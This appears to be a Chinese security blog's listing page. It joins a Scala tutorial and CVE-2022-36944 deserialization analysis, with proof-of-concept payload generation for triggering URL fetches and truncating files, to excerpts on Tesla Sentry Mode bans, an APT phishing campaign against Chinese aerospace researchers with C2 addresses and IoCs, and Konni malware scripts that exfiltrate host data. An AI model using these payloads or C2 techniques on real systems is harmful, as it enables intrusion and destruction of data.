用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 259
  • 特斯拉禁止入内上热搜,哨兵模式会泄密吗?

    8月14日,有网友在互联网平台发消息称,湖南岳阳三荷机场的停车场立有『涉密管制区域,禁止特斯拉入内』的警示牌,不允许特斯拉汽车进入,如果特斯拉车主有停车需求,可以把人送过去后,停到机场外十字路口右拐处。随后这一消息在互联网平台引发广泛关注和讨论。 该机场公安接线人员也向媒体证实情况属实,告示已经发布了几个月,解释是“特斯拉车辆带有某种模式,车主离开后会对车身周边环境进行录像”。该工作人员还补充说明,现在很多单位都禁止特斯拉入内,机场员工的特斯拉也不能进入。 此次网友争论的焦点其实也是特斯拉一直存在的问题——不少地区限制特斯拉汽车进入。原因是哨兵模式下的特斯拉会通过前视摄像头、两侧翼子板摄像头和后视摄像头持续监控周围环境,并保存相关视频影像。 出于安全方面的考量,不少重要或涉密地区不允许特斯拉进入。事实上,国外对于特斯拉的特斯拉哨兵模式同样感到担忧。2022年,德国《每日镜报》援引德国柏林警方内部文件报道,柏林警方做出决定,禁止特斯拉汽车进入警局各单位或在警局各单位泊车,原因出在特斯拉汽车摄像头系统身上。 报道称,柏林警方在2022年初发现,特斯拉所有车型都会随时对车辆周边环境进行不间断的视频记录,并将这些记录导出。这些记录长久存储在位于荷兰的服务器上,但车主本人并不知道这些数据是如何被处理的。报道指出,由于特斯拉可以自行决定是否与第三方共享这些信息,警方认为,在这种情况下,也只有执法人员才能确保对个人数据的保护。 特斯拉回应数据泄露 针对此次热搜,特斯拉官方微博发文回应称,哨兵模式是目前主流智能汽车标配的一种智能安全配置,并非特斯拉独有。特斯拉车辆出厂时,该功能默认处于关闭状态,需要车主手动开启才能使用。 在手动启用哨兵模式后,车辆上锁并挂驻车挡时如果检测到附近可能存在损害或者盗窃车辆等威胁时,系统会向车主发出警报,并记录车辆周围的可疑活动,将视频片段保存在已安装的USB设备中为用户带来用车安全保障。目前该功能已协助警方破获了多起车辆损害和失窃案件。与一些品牌可以通过哨兵模式远程查看车辆周围环境不同,目前特斯拉车辆的这些数据只离线存储在车内USB设备中,车主和特斯拉均不能远程在线查看。 另外,特斯拉公司已在中国建立数据中心,以实现数据存储的本地化。所有在中国大陆市场销售车辆所产生的数据,都会存储在中国境内。2021年10月政府主管部门联合发布《汽车数据安全管理若T规定 (试行)》后,特斯拉公司作为首批试点企业,积极参与了主管部门组织的合规试点工作。 哨兵模式争议不断 在特斯拉的官网,目前有队哨兵模式进行解释,并指出“为保护用户的隐私,哨兵模式录像不会传输给特斯拉。对于 2018 年及之后生产的车型(软件版本为 2020.48.5 或更高版本),录像将保存到车载存储器,可以通过车辆的触摸屏直接查看。” 截止到目前,业界对于哨兵模式争议存在已久。据媒体报道,2023年2月荷兰数据保护局(dpa)发出声明称,消费者需要为使用特斯拉“哨兵模式”造成的隐私侵权负全责。 由此可见,哨兵模式的争议在于采集的数据是否安全。特斯拉之所以被禁止入内,很大原因是担忧这些环境数据会被悄悄上传至美国,大量泄露我国机密地区的信息;其次是汽车是否有权利随意采集环境数据?一旦开启哨兵模式,无论数据存储在厂商还是车主的USB中,哨兵模式将会持续收集汽车周围的信息,其中不乏个人隐私方面信息。 也许车主不会主动泄露这些信息,但在数据采集过程中并没有征集路人的同意,这是否涉及侵犯了用户的隐私呢? ...

    2023-08-15 161
  • 关于近期国内航空航天领域面临APT窃密攻击风险分析

    自2023年年初,深信服深瞻情报实验室监测到大量来自南亚地区的APT组织针对我国科研院所开展定向窃密攻击,其中航空航天领域成为其攻击核心,国内有关科研单位和高校相继受到攻击。通过深度参与事件调查,我们逐渐可以揭示出本轮攻击的模式与特征,以及潜藏在攻击活动背后的野心。 航空航天领域高速发展引来知识产权窃密风险 我国的航空航天事业自新中国成立以来就始终保持着高速发展的态势。近年来随着C919大飞机、天宫空间站、歼-20、神舟十六号载人航天等项目的顺利运行,我国在航空航天技术领域取得巨大突破,逐渐走在了世界前沿。然而高速发展带来的不止是荣誉,也伴随着一些负面问题,在竞争激烈的时代,窃取知识产权成为一种较低成本的快速追赶手段。 基于此,源自南亚地区的SideWinder(响尾蛇)、Bitter(蔓灵花)、Patchwork(白象)、Donot(肚脑虫)、CNC等APT组织闻风而动,开始在网络空间大肆活跃。为获取政策情报、军事秘密、科研进展、知识产权等数据,上述组织近年来持续对我国及南亚部分国家开展攻击,攻击范围包括政府部门、国防军工单位、科研院所等。 西工大遭受网络攻击以来,科研院所一直是APT攻击的重要目标,据监测,2023上半年受攻击的相关单位至少包括5所高级院校以及1所高级科研单位。 其中最引人注意的是CNC组织针对某学校的攻击事件。此次攻击自23年1月起筹划,定向针对某重点实验室实施窃密攻击。据历史披露,CNC组织2021年6月,就曾在我国神舟十二号载人飞船成功点火升空,与天和号核心舱对接之际,针对我国航空航天领域相关单位发起集中攻击。 本轮攻击的模式与特征 (一)伪装境外学术期刊钓鱼 历年来我们对印度APT组织的印象是广泛使用钓鱼邮件作为攻击入口,这些钓鱼邮件通常会蹭当下社会新闻热点,例如疫情话题,招聘话题等。而在近期CNC组织针对某学校的攻击活动中,攻击者结合目标的特点,使用了更加定向的投递方式,即仅向近期即将发表论文的作者发送“论文校对”或“论文确认”邮件,邮件内容除链接外,均与真实邮件完全相同。该特征在不同目标中多次出现,具有稳定性,攻击成功率极高。 具体来说,推测攻击者首先通过其他渠道,获得多个研究人员个人邮箱,监控其中的论文投递情况,当出现近期投递的论文,攻击者在适当的时间,模拟期刊方,仅向几位文章作者发送“论文校对”邮件,邮件包含该论文的编号、投递时间、在线发表地址等信息。 由于论文作者都密切关注其论文投递后的状态变更,且发件人刻意模仿期刊方,文章编号等这类保密信息真实,作者通常会无防备的点击该邮件中的链接,如下图红框所示,哪怕恶意超链接以明文形式展示,也会有受害者点击。同时,由于发送的校对邮件极真实,不排除国际上多个航空航天相关期刊的邮箱也遭到窃取,攻击者从此处获得某期刊论文校对邮件模板。 在CNC组织针对另一学校的攻击中,我们看到以“论文确认”为主题的钓鱼邮件,该论文同样为受害者近期在投的文章。 调查中,由于攻击者配置错误,我们在攻击者托管下阶段恶意样本分发的服务器中看到了其他期刊的相关载荷,如下表,充分印证了攻击者正积极采用这种手法进行攻击。 名称 组织 组织网站 Journalx_kjdb 科技导报 kjdb.org aippublishing 美国物理联合会出版社 publishing.aip.org aipscitation 美国物理联合会出版社 publishing.aip.org apcats2023 航空航天技术与科学亚太会议 apcats2023.org eg2.novatechset Nova Techset电子出版 novatechset.com hindawicentral Hindawi出版社 hindawi.com Journalx_yhxb 宇航学报 yhxb.org.cn sciencedirect sciencedirect期刊 sciencedirect.com asmesociety 美国机械工程师学会 asme.org sprintnature 施普林格·自然出版社 springernature.com   (二)伪装境外业内大牛钓鱼 除了“论文”主题外,攻击者还模仿领域内某位韩国知名教授,向航空航天相关专业的老师发送会议邀请函。邀请函正文从某个真正受到邀请的老师邮箱中获得,收到邮件的老师都熟识该教授,部分老师出于信任点击了恶意链接。 由于攻击者对邮件内容非常自信,攻击者近乎嚣张地与多名老师进行了近十轮的邮件交流而未被识破,交流中攻击者以“核对参会人信息”等方式,十分自然地发送携带恶意链接或附件的邮件使受害者中招。 (三)跨网段的U盘传播模式 攻击手段除安装各类文档窃密程序外,还投递了可通过U盘进行大范围传播的恶意样本,此类恶意样本通过不间断地监控目标主机是否有新的移动设备或存储设备接入,当检测到新的设备接入时,将自身复制到新设备中并进行伪装。此类样本不仅具有跨网段传播的功能,还下载后续阶段的其他样本进行驻留。这种意图跨越隔离网络,多种传播方式共用的方式,充分契合高校科研实验室网络架构。 恶意样本将自身复制到U盘后,伪装成图片,并取名为“私人图片.png”,引诱其他使用该U盘的受害者点击。在事件调查过程中,已经多次提醒注意不打开未知文件的情况下,仍有受害者出于好奇打开“私人图片”,使样本在内网进一步传播。   (四)高度定制化木马,明确的窃密目标 CNC组织针对高校的攻击手法如下图,经过多阶段的恶意程序下载释放,最终主机中会落地文档窃取程序。 攻击者通过钓鱼邮件成功攻陷主机后进行信息收集,后续对文档窃取程序进行定制化开发,窃取攻击者感兴趣的目标,例如在某校发现的样本中存在硬编码的最近文档路径,在另一发现的样本中存在硬编码的微信聊天文件路径和杂项路径。 攻击中使用的基础设施分析 对本轮针对航空航天领域攻击中使用的IP基础设施所属地理位置进行分析,其使用的C2地理位置集中在欧洲地区。 攻击者在后阶段样本中多次使用第三方平台github作为载荷和C2托管平台,“59degf”、“xerox211”、“kkrightjack”等账号接替出现。 “59degf”于2022年5月26日加入github,并且活跃到2022年8月,不排除后续继续使用。 其首先创建“stylefonts”仓库,并上传一份pip9.0.3的安装包进行伪装,接着上传多个文件,并将加密C2信息存储于其中。 其还会在该仓库中存放使用base64编码的载荷文件“jquery-img.css”,通过分析该载荷为GRAT2开源远控,且被用于历史活动。 其他的C2更新信息如下表。 时间 文件名 数据 2022.7.4 CustomLogktr56632404 menu-items#8080@Ulzc7AnSIBk7shxMu7bc+Z8PGYo= 2022.7.5 CustomLogktr56632404 background-color@8080:eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLogktr56632404 menu-items#8080@eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLog menu-items#8080@eJGipVAZxpwarQ4Rt+vXyg== 2022.7.5 CustomLog menu-items#8080@MoTyR1NbFGeJ7G7lhgos 2022.7.5 CustomLog1 menu-items#8080@MoTyR1NbFGeJ7G7lhgos 2022.8.4 License-rtm.txt 6ZBsOoSsfGBn4RVOdh49BhEBvX5tc18=(解密为https://94.140.115.232/) 2022.8.5 License-rtm.txt 6ZBsOoSsfGBv7AlRcxwiGRgDvX1seV/KybQNFZTCOGIm6JPNkdnI8Tl6Zv7A(解密为https://192.121.87.128/gtjuik75743.php?huyice) 另外,在分析的样本“e1d12807f017c8f827fe586a19b91f1f0903d0acbb693901762adfaab638f619”中提取出其通信的github URL为“https://raw.githubusercontent.com/59degf/charsets/main/fonts-store.txt”,并未发现其使用的charsets仓库,需持续观察。 “xerox211”于2022年9月28日加入github,并创建了仓库“service”,使用github存放加密的C2数据,当未获取到对应样本时无法对该数据解密。 2022年9月29日上传数据“21/3/231/347”(该数据格式暂不清楚)。 接着在2022年10月12日多次更新该数据。 将上述数据更新为"262/347/28/256”(该数据格式暂时不清楚),期间进行过多次格式调整。 接着在2022年11月4日将数据再次更新为“0x41,0x51,0x8d,0x3e,0x5e,0x70,0x21,0xc4,0x40,0xe5,0x7d,0xd6,0x7b,0x04,0x95,0x31,0xf0,0xc7,0xef”。 最终再次进行格式调整,将数据更新为“41518d3e5e7021c440e57dd67b049531f0c7ef”。 “kkrightjack”于2022年8月23日加入github,于2022年8月24日快速上传config.json文件后又在短时间内删除“msecnd-tray!8080$vH71iikBrM0YKkmpvugwHA==”。 2022年9月23日重新更新该数据为“msecnd-tray!8080$v5w0/D/EvtqeYBANF9Rrmg==”   附录:IoC IOC类型 IOC MD5 bffa445f8f99a05384c3a61b9eaabc2f ca7276e10fcf08ec118b7cdd4e191ae8 390f9430d01e499719e9a36af5489808 869d595bbc42335fcf27321b60421582 6c65f3eea8c6b85cfae319a85d39eb55 0d5554ffd44fb843e0f41dce571c78d5 9bba6c6eb20046e40e4c6bedff370614 3af8b5681908426e817f906ff0d08b6e ce3b254fc75fe4210aa509581ca42848 774f5270c753a8651e81a2886130908f 29bbb78c7a9873836d7e76198f9e1f6c 63944ca21aee1ea6f5cfed011c7173b0 040c572499115880acf1704cdf0c4aec f75ac8caca2e3b8f1becd26c7d6542d7 d3d227719260091b7bb58111f0b219fa 88b2e156b43b650705d895b595d59087 018bb9c176732dfc7879a6c3bca8e0aa 3a79ef175d63e504eb9442e64af12661 b1e792da3e146ebabc76219ffe2385a4 337899dc4fe9e74935678cf6fd067c31 ef6e329c6fb3eb2a93cabadd6798cd20 32fdd60c5366c924b3cceb95dadc4c2e 70f134f39ef48ea6f8be96bd05d299a2   ...

    2023-08-13 154
  • Konni组织疑似针对韩国企业的攻击活动

    1 概述 安天CERT近期发现APT组织Konni的攻击活动,结合诱饵文件内容及以往的攻击活动推测,此次攻击可能为针对韩国企业进行的网络攻击。APT组织Konni的攻击活动最早可以追溯至2014年,并一直活跃至今。该组织长期针对俄罗斯、韩国等国家进行定向攻击活动,擅长使用社会热点话题作为诱饵对目标进行鱼叉式网络钓鱼攻击。 近期发现,Konni组织可能通过向目标投递与税务相关的ZIP文件实施攻击。在用户打开ZIP文件内的诱饵LNK文件时,执行设置好的PowerShell指令,打开LNK文件内包含的掩饰文档以及压缩包,执行压缩包内的脚本文件,设置注册表实现持久化机制,获取目标机的部分文件列表、进程列表等基础信息并回传至服务端,最终下载后续载荷并执行。 2 Konni攻击活动分析 表 2‑1 ZIP文件 Konni组织可能通过钓鱼攻击的手法投递税务相关主题的ZIP文件,ZIP文件内容如下表: 表 2‑2 ZIP文件内容 ZIP文件的内容如下图所示:   图 2‑1 ZIP文件内容 表 2‑3 LNK文件 上表中的LNK文件包含在ZIP文件内,LNK文件指向攻击者构造的一段PowerShell代码,该代码用于解码其中十六进制编码的数据并执行,将这段PowerShell代码提取出来如下所示。 图 2‑2 LNK文件指向的PowerShell代码 解码后的内容用于释放掩饰文档소명자료 목록(국세징수법 시행규칙).hwp到LNK文件所在的目录、删除LNK文件、提取内嵌的ZIP文件并将ZIP文件中的条目提取到%public%\documents目录下,最终执行start.vbs。   图 2‑3 释放后续文件 LNK文件内存储的掩饰文档及ZIP文件数据相连,数据结构如下图所示。   图 2‑4 LNK文件内存储的掩饰文档及ZIP文件 LNK文件释放的掩饰文档正文内容如下所示。   图 2‑5 소명자료 목록(국세징수법 시행규칙).hwp   申明资料目录(国税征收法实施规则) ZIP文件内包含的条目及对应文件的功能如下所示。   图 2‑6 ZIP文件内包含的条目 表2-4 ZIP内的文件及对应功能 ZIP文件内各文件之间的调用关系如下图所示:   图 2‑7调用关系图 start.vbs,该文件用于执行78788188.bat文件。   图 2‑8 Start.vbs文件 78788188.bat,执行流程如下: 判断是否存在bat,如果存在23965250.bat,会将Start.vbs添加至注册表RUN中实现开机自启动,执行23965250.bat、27355145.bat后删除23965250.bat文件。如果不存在23965250.bat,判断是否存在upok.txt文件,如果upok.txt存在,执行步骤2);如果upok.txt不存在,执行27355145.bat,该文件用于收集本地数据并回传至服务端,然后执行步骤2)。 判断是否存在txt,如果存在pakistan.txt,删除该文件并退出;如果不存在pakistan.txt,执行步骤3)。 判断是否存在bat,如果存在temprun.bat,删除该文件,执行步骤4);如果不存在temprun.bat,直接执行步骤4)。 执行bat,该文件用于下载文件。传递参数http[:]//overseeby.com/list.php?f=%COMPUTERNAME%.txt、%~dp0SbJAZ.cab、1,下载SbJAZ.cab文件。如果第三个参数为0,会进行加密传输。以上操作完成后,执行步骤5)。 解压cab到当前路径下,而后删除SbJAZ.cab并执行temprun.bat。以上操作完成后,执行步骤6)。 等待57秒,再次判断是否存在txt,如果不存在pakistan.txt,跳到步骤3)继续执行。若存在pakistan.txt,删除该文件并退出。 图 2‑9 78788188.bat文件 23965250.bat,执行流程如下: 调用bat,发送http请求,下载97157.zip文件,请求的网址为https[:]//naver.cloudfiles001.com/v2/read/get.php?hs=ln3&fj=bv8702。然后判断下载是否成功,如果97157.zip文件存在,执行步骤2)。如果该文件不存在,退出。 获取压缩包中的第一个条目的名字,如果该名字存在,以字符a作为密码解压zip,而后删除压缩包,执行步骤3);若该名字不存在,直接删除压缩包并退出。 判断压缩包中的第一个条目对应的文件是否存在。若存在,使用exe执行该文件的Run导出函数,等待60s;若不存在,等待60s,退出。此次操作将会循环执行三次。 图 2‑10 23965250.bat文件   27355145.bat,执行流程如下: 获取C:\Users\%username%目录下downloads、documents、desktop以及C:\Program Files中的文件及文件夹列表,并将其输出到bat文件所在目录对应的txt、cuserdocu.txt、cuserdesk.txt、cprot.txt中。然后通过nslookup命令获取myip.opendns.com、resolver1.opendns.com的域名解析地址,通过tasklist和systeminfo获取进程列表和系统信息,将他们分别输出到对应的ipinfo.txt、tsklt.txt、systeminfo.txt中,然后执行步骤2)。 等待5秒后,调用bat,将其加密处理后上传到http[:]//overseeby.com/upload.php地址。 图 2‑11 27355145.bat 